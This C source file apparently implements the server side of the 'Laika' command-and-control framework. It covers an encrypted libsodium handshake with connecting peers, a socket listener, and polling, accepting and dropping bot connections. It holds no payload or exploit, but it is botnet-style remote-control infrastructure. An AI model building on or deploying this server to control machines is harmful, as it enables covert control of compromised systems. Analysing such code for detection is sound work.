#include "lmem.h"
#include "lrsa.h"
#include "lsocket.h"
#include "lerror.h"

#include "cnc.h"

LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES
};

void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
    char magicBuf[LAIKA_MAGICLEN];
    uint8_t nonce[LAIKA_NONCESIZE];
    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
    uint8_t major, minor;

    laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
    major = laikaS_readByte(&peer->sock);
    minor = laikaS_readByte(&peer->sock);
    peer->type = laikaS_readByte(&peer->sock);

    if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
        || major != LAIKA_VERSION_MAJOR
        || minor != LAIKA_VERSION_MINOR)
        LAIKA_ERROR("invalid handshake request!\n");

    /* read & decrypt nonce */
    laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv);

    /* read peer's public key */
    laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));

    /* queue response */
    laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
    laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
    laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */

    LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
}

PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
    [LAIKAPKT_HANDSHAKE_REQ] = handleHandshakeRequest
};

struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
    struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
    size_t _unused;

    /* init socket & pollList */
    laikaS_initSocket(&cnc->sock);
    laikaP_initPList(&cnc->pList);

    /* bind sock to port */
    laikaS_bind(&cnc->sock, port);

    /* add sock to pollList */
    laikaP_addSock(&cnc->pList, &cnc->sock);

    if (sodium_init() < 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("LibSodium failed to initialize!\n");
    }

    LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
    if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc public key!\n");
    }

    if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc private key!\n");
    }

    return cnc;
}

void laikaC_freeCNC(struct sLaika_cnc *cnc) {
    laikaS_cleanSocket(&cnc->sock);
    laikaP_cleanPList(&cnc->pList);
    laikaM_free(cnc);
}

void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
    LAIKA_DEBUG("peer %x killed!\n", peer);
    laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
    laikaS_freePeer(peer);
}

bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
    struct sLaika_peer *peer;
    struct sLaika_pollEvent *evnts;
    int numEvents, i;

    evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);

    /* if we have 0 events, we reached the timeout, let the caller know */
    if (numEvents == 0) {
        return false;
    }

    /* walk through and handle each event */
    for (i = 0; i < numEvents; i++) {
        if (evnts[i].sock == &cnc->sock) { /* event on listener? */
            peer = laikaS_newPeer(
                laikaC_handlerTbl,
                laikaC_pktSizeTbl,
                &cnc->pList,
                (void*)cnc
            );
            laikaS_setKeys(peer, cnc->priv, cnc->pub);

            /* setup and accept new peer */
            laikaS_acceptFrom(&peer->sock, &cnc->sock);
            laikaS_setNonBlock(&peer->sock);

            /* add to our pollList */
            laikaP_addSock(&cnc->pList, &peer->sock);

            LAIKA_DEBUG("new peer %x!\n", peer);
            continue;
        }

        peer = (struct sLaika_peer*)evnts[i].sock;

        LAIKA_TRY
            if (evnts[i].pollIn && !laikaS_handlePeerIn(peer))
                goto _CNCKILL;

            if (evnts[i].pollOut && !laikaS_handlePeerOut(peer))
                goto _CNCKILL;

            if (!evnts[i].pollIn && !evnts[i].pollOut)
                goto _CNCKILL;

        LAIKA_CATCH
        _CNCKILL:
            laikaC_killPeer(cnc, peer);
        LAIKA_TRYEND
    }

    return true;
}